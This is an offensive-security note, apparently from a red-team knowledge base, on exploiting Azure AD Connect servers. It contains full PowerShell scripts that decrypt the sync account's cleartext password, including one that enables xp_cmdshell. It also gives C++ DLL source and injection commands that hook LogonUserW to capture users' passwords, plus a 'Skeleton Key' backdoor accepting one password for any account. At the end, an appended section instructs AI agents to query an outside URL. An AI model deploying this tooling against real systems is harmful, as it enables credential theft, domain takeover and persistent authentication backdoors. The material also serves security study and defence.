# Exploitation - Azure AD Connect

### Overview

`Azure Active Directory (AD) Connect` is a Microsoft utility used to connect on-premises Active Directory forests with Azure AD. Using `Azure AD Connect` on premise users can access cloud-based services in an hybrid identity model, across (Windows Server) Active Directory and Azure AD.

During `Azure AD Connect` installation, an user account is created in the on-premise Active Directory forest: the `Azure Active Directory Domain Services (AD DS) Connector account`. The account is by default named `MSOL_<HEX_ID>` (for example: `MSOL_a8a17814304d`). Additionally, an Azure AD user is also automatically created (named `Sync_<AAD_CONNECT_SERVER_HOSTNAME>_<HEX_ID>@<AZURE_TENANT>`, with a matching `<HEX_ID>`).

**Synchronization modes - Password Hash Sync vs Pass-through Authentication**

`Azure AD Connect` currently implements two synchronization modes / sign-in methods:

* `Password Hash Sync (PHS)`, in which on-premises Active Directory users' NTLM password hashes (NTLM hashes and Kerberos keys) are extracted and synchronized from the on-premises Active Directory forest to Azure AD. `PHS` is the mode configured by default whenever using the "Express Settings" option during the Azure AD Connect installation.
* `Pass-through Authentication (PTA)`, in which on-premises Active Directory users' passwords are not synchronized with Azure AD. The authentication requests (of non cloud-only accounts) made Azure side are instead directly sent to the `Azure AD Connect` server to be validated by an on-premise Domain Controller.

In a `Password Hash Sync` setup, the `Azure AD DS Connector account` is granted replication privileges (`Replicate Directory Changes` and `Replicate Directory Changes All`) in the Active Directory forest in order to be able to extract the users' password hashes.

**Active Directory Federation Services alternative**

While `Azure AD Connect` is sufficient for connecting an on-premise Active Directory environment with Azure AD, `Active Directory Federation Services` may be used as well. `ADFS` is an utility developed by Microsoft to provide single sign-on access to external resources and that implements a claims-based access-control authorization model. `ADFS` establishes a trust between two federation servers: one client-side and another resources-side. On the client-side, `ADFS` connects to the on-premise `Active Directory Domain Services` to authenticates users using the Active Directory database and issues a token that can be transmitted to the resources-side federation server. `ADFS` presents the advantage of enabling federation with various compliant federation services (such as `Software as a Service (SaaS)` applications, `ADFS` servers from external Active Directory forests, etc.) but is however much more difficult to deploy and administrate than `Azure AD Connect`.

### Azure AD Connect identification

The following PowerShell commands, that rely on cmdlets from the Microsoft `Remote Server Administration Tools (RSAT)` utilities, can be used to identity the `Azure AD DS Connector account` and whether the account is granted replication privileges or not.

```
Get-ADUser -Filter "name -like 'MSOL_*'"
Get-ADUser -Properties Description -Filter "Description -like '*Azure*'"

# Checks if the Azure AD DS Connector account is granted replication privileges.
# FOREST_ROOT_OBJECT = "DC=LAB,DC=AD" for example
Get-ACL -Path "AD:<FOREST_ROOT_OBJECT>" | Select -ExpandProperty Access | ? IdentityReference -match "
MSOL_*" | ? ObjectType -match '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2|1131f6ad-9c07-11d1-f79f-00c04fc2dcd2'
```

### Initial compromise of the Azure AD Connect server

The compromise of the `Azure AD Connect` server is a prerequisite of the attacks introduced below. The `Azure AD Connect` server may benefit from a lower security level than the Domain Controllers usually identified as critical infrastructure resources.

The initial compromise of the `Azure AD Connect` server can be achieved in a number of ways (out of the scope of the present note):

| Description                                                                                                                                          | Related note(s)                                                                      |
| ---------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------ |
| Compromise of an account that can (remotely or using a local connection) execute OS commands through the `Azure AD Connect` server `MSSQL` database. | `[ActiveDirectory] - 1433 MSSQL` note.                                               |
| Remote code execution vulnerability or compromise of a service allowing for remote code execution on an exposed service.                             | `L7` notes.                                                                          |
| Compromise of mutualized local Administrators accounts or domain accounts member of the local `Administrators` group.                                | `[ActiveDirectory] - Credentials_theft_shuffling` note.                              |
| Exploitable `ACL` (`GenericAll`, `WriteOwner`, `WriteDACL`, etc.) defined on the `Azure AD Connect` server's machine account.                        | `[ActiveDirectory] ACL exploiting - Computer machine account ACL exploitation` note. |
| Code execution through `Group Policy Objects (GPO)` linked to the `Azure AD Connect` server (through exploitable `ACL` on the `GPO` or `GPO` files). | `[ActiveDirectory] ACL exploiting - GPO ACEs exploitation` note.                     |
| Prior compromise of an account trusted for Kerberos delegations on the `Azure AD Connect` server.                                                    | `[ActiveDirectory] - Kerberos delegations` note.                                     |
| ...                                                                                                                                                  | ...                                                                                  |

### Password Hash Synchronization exploit

After achieving command execution in an elevated context on the `Azure AD Connect` server, the `Azure AD DS Connector account` cleartext password can be retrieved in a number of ways:

* by dumping and extracting the authentication secrets stored in the `LSASS` process. This technique is usually more closely defended against by `Endpoint detection and response (EDR)` products than the other one presented below. Refer to the `[Windows] Post exploitation - Credentials dumping` note for more information on how to dump credentials from `LSASS` as stealthy as possible.
* by retrieving the `Azure AD DS Connector account` encrypted password from the `MSSQL` `ADSync` database (`encrypted_configuration` column of the `mms_management_agent` table) and decrypting it using functions implemented in the `Microsoft Azure AD Sync\Bin\mcrypt.dll` `DLL`.

  On out of date `Azure AD Connect` servers installed before early 2020, the decryption key can be simply retrieved with sufficient privileges using functions from the `mcrypt.dll` `DLL`.

  Since an update changing the way the decryption key is handled, it is now necessary to execute code in the context of the `NT SERVICE\ADSync` Virtual Account to access the decryption key stored as a `DPAPI` key. This can be achieved in two notable ways:

  * By injecting in a process running as the `NT SERVICE\ADSync` account and using the previous technique. This can be done using various tools such as `metasploit`'s `meterpreter` or in a `Cobalt Strike` beacon.
  * By executing operating system commands through the `MSSQL` service (using `xp_cmdshell` for instance), which run under the security context of the `NT SERVICE\ADSync` account.

Once in possession of the `Azure AD DS Connector account` password, refer to the `[ActiveDirectory] ntds.dit dumping` note for a procedure and tooling to conduct passwords replication (`DCSync`).

**Against outdated Azure AD Connect installations**

Multiple tools may be used to conduct the extraction and decryption process against outdated Azure AD Connect installations:

* The [AdSyncDecrypt](https://github.com/VbScrub/AdSyncDecrypt/releases) VB.NET tool.

  The `AdDecrypt.exe` binary must be executed:

  * in a folder with the `mcrypt.dll` `DLL` present.
  * with the AD Sync binary folder as the working directory or with the folder added to the PATH environment variable.

  ```
  # Default location of the AD Sync binary folder
  cd "C:\Program Files\Microsoft Azure AD Sync\Bin"

  # Against the default SQLExpress “LocalDb” instance.
  <PATH>\AdDecrypt.exe

  # Against a full MSSQL instance
  <PATH>\AdDecrypt.exe -FullSQL
  ```
* [adconnectdump](https://github.com/fox-it/adconnectdump), which is composed of the `ADSyncDecrypt`, `ADSyncGather`, and `ADSyncQuery` C# utilities as well as the `adconnectdump.py` Python script.

  `ADSyncDecrypt` and `ADSyncGather` work similarly to `AdDecrypt.exe` and require code execution on the targeted `Azure AD Connect` server.\
  `ADSyncQuery` present the advantage of conducting the extraction through remote `RPC` calls. It however requires a local `MSSQL` instance to be installed on the attacking computer.

  ```
  # The ADSyncQuery.exe sould be present in the directory.
  python.exe adconnectdump.py [[<DOMAIN>/]<USERNAME>@<HOSTNAME | IP>
  ```
* The [azuread\_decrypt\_msol.ps1](https://gist.github.com/xpn/0dc393e944d8733e3c63023968583545#file-azuread_decrypt_msol-ps1) PowerShell script.

  ```
  # Author: Adam Chester (XPN).
  # Source: https://gist.github.com/xpn/0dc393e944d8733e3c63023968583545#file-azuread_decrypt_msol-ps1

  # !! For connection to full MSSQL database instance (excluding database setup using the "Express" installation option), replace the connection string with the one below:
  # $client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Server=LocalHost;Database=ADSync;Trusted_Connection=True;"

  Write-Host "AD Connect Sync Credential Extract POC (@_xpn_)`n"

  $client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localdb)\.\ADSync;Initial Catalog=ADSync"
  $client.Open()
  $cmd = $client.CreateCommand()
  $cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
  $reader = $cmd.ExecuteReader()
  $reader.Read() | Out-Null
  $key_id = $reader.GetInt32(0)
  $instance_id = $reader.GetGuid(1)
  $entropy = $reader.GetGuid(2)
  $reader.Close()

  $cmd = $client.CreateCommand()
  $cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
  $reader = $cmd.ExecuteReader()
  $reader.Read() | Out-Null
  $config = $reader.GetString(0)
  $crypted = $reader.GetString(1)
  $reader.Close()

  add-type -path 'C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'
  $km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager
  $km.LoadKeySet($entropy, $instance_id, $key_id)
  $key = $null
  $km.GetActiveCredentialKey([ref]$key)
  $key2 = $null
  $km.GetKey(1, [ref]$key2)
  $decrypted = $null
  $key2.DecryptBase64ToString($crypted, [ref]$decrypted)

  $domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerXML}}
  $username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerXML}}
  $password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}}

  Write-Host ("Domain: " + $domain.Domain)
  Write-Host ("Username: " + $username.Username)
  Write-Host ("Password: " + $password.Password)
  ```

**Against up-to-date Azure AD Connect installations**

The [azuread\_decrypt\_msol\_v2.ps1](https://gist.github.com/xpn/f12b145dba16c2eebdd1c6829267b90c) PowerShell script implements the operating system commands execution through the `MSSQL` service described above to achieve code execution under the security context of the `NT SERVICE\ADSync` account.

```
# Author: Adam Chester (XPN).
# Source: https://gist.github.com/xpn/f12b145dba16c2eebdd1c6829267b90c

# !! For connection to full MSSQL database instance (and not database setup using the "Express" installation option), replace the connection string with the one below:
# $client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Server=LocalHost;Database=ADSync;Trusted_Connection=True;"

Write-Host "AD Connect Sync Credential Extract v2 (@_xpn_)"
Write-Host "`t[ Updated to support new cryptokey storage method ]`n"
$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localdb)\.\ADSync;Initial Catalog=ADSync"
try {
    $client.Open()
} catch {
    Write-Host "[!] Could not connect to localdb..."
    return
}
Write-Host "[*] Querying ADSync localdb (mms_server_configuration)"
$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
$reader = $cmd.ExecuteReader()
if ($reader.Read() -ne $true) {
    Write-Host "[!] Error querying mms_server_configuration"
    return
}
$key_id = $reader.GetInt32(0)
$instance_id = $reader.GetGuid(1)
$entropy = $reader.GetGuid(2)
$reader.Close()
Write-Host "[*] Querying ADSync localdb (mms_management_agent)"
$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
$reader = $cmd.ExecuteReader()
if ($reader.Read() -ne $true) {
    Write-Host "[!] Error querying mms_management_agent"
    return
}
$config = $reader.GetString(0)
$crypted = $reader.GetString(1)
$reader.Close()
Write-Host "[*] Using xp_cmdshell to run some Powershell as the service user"
$cmd = $client.CreateCommand()
$cmd.CommandText = "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'powershell.exe -c `"add-type -path ''C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'';`$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager;`$km.LoadKeySet([guid]''$entropy'', [guid]''$instance_id'', $key_id);`$key = `$null;`$km.GetActiveCredentialKey([ref]`$key);`$key2 = `$null;`$km.GetKey(1, [ref]`$key2);`$decrypted = `$null;`$key2.DecryptBase64ToString(''$crypted'', [ref]`$decrypted);Write-Host `$decrypted`"'"
$reader = $cmd.ExecuteReader()
$decrypted = [string]::Empty
while ($reader.Read() -eq $true -and $reader.IsDBNull(0) -eq $false) {
    $decrypted += $reader.GetString(0)
}
if ($decrypted -eq [string]::Empty) {
    Write-Host "[!] Error using xp_cmdshell to launch our decryption powershell"
    return
}
$domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerText}}
$username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerText}}
$password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}}
Write-Host "[*] Credentials incoming...`n"
Write-Host "Domain: $($domain.Domain)"
Write-Host "Username: $($username.Username)"
Write-Host "Password: $($password.Password)"
```

### Pass Through Authentication exploit

In `Pass-through Authentication (PTA)` mode, the authentication requests are sent to the `Azure AD Connect` server through a connection established by the `Azure AD Connect Authentication Agent` (`AzureADConnectAuthenticationAgentService.exe`). Note that cloud-only accounts will not affected by the exploit as their authentication requests are processed only Azure AD-side.

The agent rely on the `LogonUserW` Win32 API function to validate the received credentials against a on-premise Active Directory Domain Controller. In order to make use of the Win32 API `LogonUser` functions, the Authentication Agent must be in possession of the authentication request cleartext username and password.

The compromise of the `Azure AD Connect` server, or more precisely put obtaining code execution in a security context with the `SeDebugPrivilege` privilege enabled, thus allow:

* for the retrieval of the authentication requests' cleartext username and password
* the implementation of a backdoor, such as an hardcoded password that would validate access for any accounts (similarly to what could be achieved against on-premise Domain Controllers with the `skeleton key` attack).

*The attacks against the `PTA`, and the code introduced below, are based on original research done by* [*Adam Chester*](https://blog.xpnsec.com/azuread-connect-for-redteam/) *and* [*Eric Saraga*](https://www.varonis.com/blog/azure-skeleton-key/)*.*

**Win32 API LogonUserW hooking**

The following code should be compiled as a `DLL` and injected into the `AzureADConnectAuthenticationAgentService` process on the `Azure AD Connect` server.

Disclaimer: the `DACL` on the payload `DLL` must be configured to grant `Read` access to the `NETWORK SERVICE` identity. If output files are being used to log the authentication requests, the `DACL` on the output folder / files should also allow write access.

The payload `DLL` will:

1. Enter the `DllMain` entry point upon loading in the `AzureADConnectAuthenticationAgentService` process.
2. Retrieve the address of the `LogonUserW` function, which is exported by the `advapi32.dll` library.
3. Update the virtual address space protection of the `LogonUserW` function region to `PAGE_EXECUTE_READWRITE` (in order to be able to modify the function code).
4. Inject in the legitimate `LogonUserW` function a jump to the hooking `LogonUserWHook` function.
5. Restore the original virtual address space protection.

Whenever an Azure AD authentication will be processed by the `AzureADConnectAuthenticationAgentService` process, the `LogonUserW` function and, in turn, the `LogonUserWHook` function will thus be called. In order to properly authenticate users, the `LogonUserWHook` function returns the result of a call to the `LogonUserExW` function (which implement the same validation but does not rely on the `LogonUserW` function).

```cpp
// Original author: Adam Chester / @_xpn_
// Source: https://gist.github.com/xpn/79a7f966b9dffd0ccf3505787f8060d7#file-azuread_hook_dll-cpp

#include <windows.h>
#include <stdio.h>
#include <fstream>

// Simple ASM trampoline
// mov r11, 0x4142434445464748
// jmp r11
unsigned char trampoline[] = { 0x49, 0xbb, 0x48, 0x47, 0x46, 0x45, 0x44, 0x43, 0x42, 0x41, 0x41, 0xff, 0xe3 };

BOOL LogonUserWHook(LPCWSTR username, LPCWSTR domain, LPCWSTR password, DWORD logonType, DWORD logonProvider, PHANDLE hToken);

void Start(void) {
    DWORD oldProtect;

    std::ofstream outfile;
    outfile.open("<FILE_PATH>", std::ios_base::app);
    outfile << "Successfully injected payload DLL!" << "\n";
    outfile.close();

    void* LogonUserWAddr = GetProcAddress(LoadLibraryA("advapi32.dll"), "LogonUserW");
    if (LogonUserWAddr == NULL) {
        // Should never happen, but just incase
        return;
    }

    // Update page protection so we can inject our trampoline
    VirtualProtect(LogonUserWAddr, 0x1000, PAGE_EXECUTE_READWRITE, &oldProtect);

    // Add our JMP addr for our hook
    *(void**)(trampoline + 2) = &LogonUserWHook;

    // Copy over our trampoline
    memcpy(LogonUserWAddr, trampoline, sizeof(trampoline));

    // Restore previous page protection so Dom doesn't shout
    VirtualProtect(LogonUserWAddr, 0x1000, oldProtect, &oldProtect);
}

// The hook we trampoline into from the beginning of LogonUserW
// Will invoke LogonUserExW when complete, or return a status ourselves
BOOL LogonUserWHook(LPCWSTR username, LPCWSTR domain, LPCWSTR password, DWORD logonType, DWORD logonProvider, PHANDLE hToken) {
    PSID logonSID;
    void* profileBuffer = (void*)0;
    DWORD profileLength;
    QUOTA_LIMITS quota;
    bool ret;

    // Refer to "Authentication requests interception" / "Authentication Agent backdoor" sections below

    // <INJECTED_CODE_BACKDOOR>

    // Forward request to LogonUserExW and return result
    ret = LogonUserExW(username, domain, password, logonType, logonProvider, hToken, &logonSID, &profileBuffer, &profileLength, &quota);

    // <INJECTED_CODE_INTERCEPTION>

    return ret;
}

BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        Start();
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
```

The `injectAllTheThings` project can be used to inject the payload `DLL` in the process using a number of techniques. One technique consist of copying the payload `DLL` path into the remote process, using `VirtualAllocEx` and a subsequent `WriteProcessMemory` call, and then remotely starting a thread that will load the payload `DLL`. A remote thread can be created using `CreateRemoteThread` and instructed to execute (`Kernel32`'s) `LoadLibraryW`.

```
# Supported injection techniques: 1 CreateRemoteThread / 2 NtCreateThreadEx / 3 QueueUserAPC / 4 SetWindowsHookEx / 5 RtlCreateUserThread / 6 SetThreadContext / 7 Reflective DLL injection

injectAllTheThings.exe -t <1 | INJECTION_TECHNIQUE_NUMBER> "AzureADConnectAuthenticationAgentService.exe" <PAYLOAD_DLL_FULL_PATH>
```

**Authentication requests interception**

The following code can be inserted in the `LogonUserWHook` function (`<INJECTED_CODE_INTERCEPTION>`) to log the authentication requests.

```cpp
std::ofstream outfile;
outfile.open("<FILE_PATH>", std::ios_base::app);
outfile << "Successfully hooked LogonUserW function!" << "\n\n";

if (ret == true) {
    outfile << "Successful authentication received:" << "\n";
}

else {
    outfile << "Unsuccessful authentication received:" << "\n";
}

// Write username.
int len_username = WideCharToMultiByte(CP_UTF8, 0, username, -1, NULL, 0, 0, 0);
LPSTR result_username = NULL;
if (len_username > 0) {
    result_username = new char[len_username + 1];
    if (result_username) {
        int resLen_username = WideCharToMultiByte(CP_UTF8, 0, username, -1, &result_username[0], len_username, 0, 0);
        if (resLen_username == len_username) {
            outfile.write(result_username, len_username);
            outfile << "\n";
        }
        delete[] result_username;
    }
}

// Write password
int len_password = WideCharToMultiByte(CP_UTF8, 0, password, -1, NULL, 0, 0, 0);
LPSTR result_password = NULL;
if (len_password > 0) {
    result_password = new char[len_password + 1];
    if (result_password) {
        int resLen_password = WideCharToMultiByte(CP_UTF8, 0, password, -1, &result_password[0], len_password, 0, 0);
        if (resLen_password == len_password) {
            outfile.write(result_password, len_password);
            outfile << "\n";
        }
        delete[] result_password;
    }
}

outfile.close();
```

**Authentication Agent backdoor (Azure Skeleton Key)**

The following code can be inserted in the `LogonUserWHook` function (`<INJECTED_CODE_BACKDOOR>`) to define a password that grant access to any accounts (backdoor known as `Skeleton Key`).

```cpp
if (wcscmp(password, L"<BACKDOOR_SKELETON_KEY>") == 0) {
    return true;
}
```

***

### References

<https://blog.xpnsec.com/protecting-your-malware/> <https://blog.xpnsec.com/azuread-connect-for-redteam/> <https://www.synacktiv.com/publications/azure-ad-introduction-for-red-teamers.html> <https://github.com/fox-it/adconnectdump> <https://vbscrub.com/2020/01/14/azure-ad-connect-database-exploit-priv-esc/> <https://www.varonis.com/blog/azure-skeleton-key/> <https://docs.microsoft.com/fr-fr/azure/active-directory/manage-apps/migrate-adfs-apps-to-azure> <https://docs.microsoft.com/fr-fr/azure/active-directory/hybrid/how-to-connect-password-hash-synchronization> <https://docs.microsoft.com/fr-fr/azure/active-directory/hybrid/how-to-connect-pta>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://notes.qazeer.io/active-directory/exploitation-azure_ad_connect.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
